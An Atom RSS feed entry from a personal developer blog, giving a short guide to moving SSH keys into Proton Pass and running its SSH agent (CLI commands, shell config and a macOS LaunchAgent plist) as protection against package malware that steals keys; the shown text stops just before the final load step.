<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <link rel="self" href="https://peterullrich.com/rss"/>
  <author>
    <name>Peter Ullrich</name>
    <email>info@peterullrich.com</email>
  </author>
  <id>https://peterullrich.com/</id>
  <title>Peter Ullrich Blog</title>
  <updated>2026-08-16T20:25:20.191182Z</updated>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, this one is a quick one, but first:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;I have a speed bump phobia. 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;But I&amp;#39;m slowly getting over it now, which is nice.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, a quick suggestion: &lt;strong&gt;Store your SSH keys in a password manager, folks!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;It feels like every day, there&apos;s a new NPM hack that installs a malicious package on a developer&apos;s machine that steals their credentials, especially the private SSH keys that can be used to push to GitHub and SSH into connected servers. The worst part is that they won&apos;t notice it at all. The malware does a smash-and-grab: it fetches your private keys from &lt;code&gt;~/.ssh&lt;/code&gt;, uploads them to a command-and-control server, and leaves. This gives the attacker the time to change the code on their machine and push it back to GitHub and potentially to NPM and other package managers if the GitHub CI is set up to release new versions automatically.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Just like you wouldn&apos;t store passwords in a text file on your computer, you shouldn&apos;t store your SSH keys as text files in &lt;code&gt;.ssh&lt;/code&gt; either. &lt;strong&gt;Move them to a password manager!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I recently moved my SSH keys to &lt;a href=&quot;https://protonpass.github.io/pass-cli/commands/ssh-agent/&quot;&gt;Proton Pass&lt;/a&gt;, but other managers like &lt;a href=&quot;https://1password.com/developers/ssh&quot;&gt;1Password&lt;/a&gt; support SSH keys as well. The setup process is pretty straightforward.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#1-move-your-ssh-keys-to-proton-pass&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;1-move-your-ssh-keys-to-proton-pass&quot;&gt;&lt;/a&gt;1. Move your SSH Keys to Proton Pass&lt;/h3&gt;
&lt;p&gt;First, copy your public and private SSH key pairs into the password manager. Proton Pass has a dedicated type under &lt;code&gt;Create Item &gt; Other &gt; SSH Key&lt;/code&gt;. If your SSH key is password protected, either store the unencrypted version or store your decryption password in the same SSH key item as &lt;code&gt;Password&lt;/code&gt; or &lt;code&gt;Passphrase&lt;/code&gt;, but Proton Pass &lt;a href=&quot;https://protonpass.github.io/pass-cli/commands/ssh-agent/#passphrase-protected-ssh-keys&quot;&gt;will try all &lt;code&gt;hidden&lt;/code&gt; fields as passwords&lt;/a&gt; to decrypt the SSH key.&lt;/p&gt;
&lt;p&gt;Next, &lt;a href=&quot;https://protonpass.github.io/pass-cli/get-started/installation/&quot;&gt;install the Proton Pass CLI&lt;/a&gt; &lt;code&gt;pass-cli&lt;/code&gt; and run &lt;code&gt;pass-cli login&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, make sure that Proton Pass finds your SSH keys with:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pass-cli&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;ssh-agent&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;debug&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--vault-name&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;YourVaultName&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;SSH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Agent&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Debug&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Report&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Vault:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;YourVaultName&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;some-identifier&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;✓&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Valid&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SSH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Keys&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;•&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SSH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;id_ed25519&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;Algorithm:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Ed25519&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;Fingerprint:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SHA256:some-fingerprint&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;•&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SSH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;RSA&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;Algorithm:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;RSA-3072&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;Fingerprint:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SHA256:some-fingerprint&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, I suggest moving your &lt;code&gt;~/.ssh/id_*&lt;/code&gt; keys into a backup folder like &lt;code&gt;~/.ssh/backup/id_*&lt;/code&gt;. This will move them out of the &lt;code&gt;.ssh&lt;/code&gt; folder that is used by &lt;code&gt;ssh&lt;/code&gt; by default so that you can test the integration with Proton Pass.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#2-start-the-ssh-daemon&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;2-start-the-ssh-daemon&quot;&gt;&lt;/a&gt;2. Start the SSH Daemon&lt;/h3&gt;
&lt;p&gt;Proton Pass supports running an SSH agent as a daemon that allows tools like &lt;code&gt;git&lt;/code&gt; and &lt;code&gt;ssh&lt;/code&gt; to fetch the SSH keys automatically. You can &lt;a href=&quot;https://protonpass.github.io/pass-cli/commands/ssh-agent/#running-the-ssh-agent-as-a-background-daemon&quot;&gt;start the daemon&lt;/a&gt; with:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pass-cli&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;ssh-agent&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;daemon&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;start&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--log-file&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;~/.ssh/proton-pass-agent.log&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Daemon&lt;/span&gt; started &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PID:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;12345&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;PID&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/Users/youruser/.ssh/proton-pass-agent.pid&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Log&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/Users/youruser/.ssh/proton-pass-agent.log&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Logs:&lt;/span&gt; discarded &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--log-file&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;capture&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;them&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;To&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;connect&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;the&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;agent,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;set&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SSH_AUTH_SOCK:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;SSH_AUTH_SOCK&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/Users/youruser/.ssh/proton-pass-agent.sock&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added the optional &lt;code&gt;--log-file&lt;/code&gt; argument here to store the agent&apos;s output to a log file. This makes it easier to debug and track SSH issues in the future.&lt;/p&gt;
&lt;p&gt;Last step: Add this line to your shell&apos;s config like &lt;code&gt;~/.zshrc&lt;/code&gt; and restart your terminal session{}&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;SSH_AUTH_SOCK&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;HOME&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/.ssh/proton-pass-agent.sock&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you should see your SSH keys appear when you run:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ssh-add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-l&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3072&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SHA256:some-fingerprint&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SSH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;RSA&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;RSA&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;256&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SHA256:another-fingerprint&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;SSH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;id_ed25519&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;ED25519&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you see an output like the one above, you&apos;re all set up now. You can run e.g. &lt;code&gt;git pull&lt;/code&gt; on a private repo and should see that everything works as before.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/posts/store-ssh-keys-in-pass/great-success.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#3-start-the-ssh-agent-automatically&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;3-start-the-ssh-agent-automatically&quot;&gt;&lt;/a&gt;3. Start the SSH Agent Automatically&lt;/h3&gt;
&lt;p&gt;If you restart your system, your SSH agent won&apos;t start automatically at this point. To fix this, follow the &lt;a href=&quot;https://protonpass.github.io/pass-cli/commands/ssh-agent/#starting-the-daemon-automatically-on-login&quot;&gt;instructions for your operating system&lt;/a&gt; in the Proton docs.&lt;/p&gt;
&lt;p&gt;On macOS, you have to do this:&lt;/p&gt;
&lt;p&gt;Create the file at:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;~/Library/LaunchAgents/com.proton.pass-cli.ssh-agent.plist&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the following content to it:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-xml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;?&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;xml&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;encoding&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;UTF-8&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;?&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;!&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;plist&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;PUBLIC&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;-//Apple//DTD PLIST 1.0//EN&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;http://www.apple.com/DTDs/PropertyList-1.0.dtd&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;plist&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;Label&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;com.proton.pass-cli.ssh-agent&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;ProgramArguments&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;/Users/youruser/.local/bin/pass-cli&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;ssh-agent&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;start&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;RunAtLoad&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;KeepAlive&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;plist&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then load it:&lt;/p&gt;
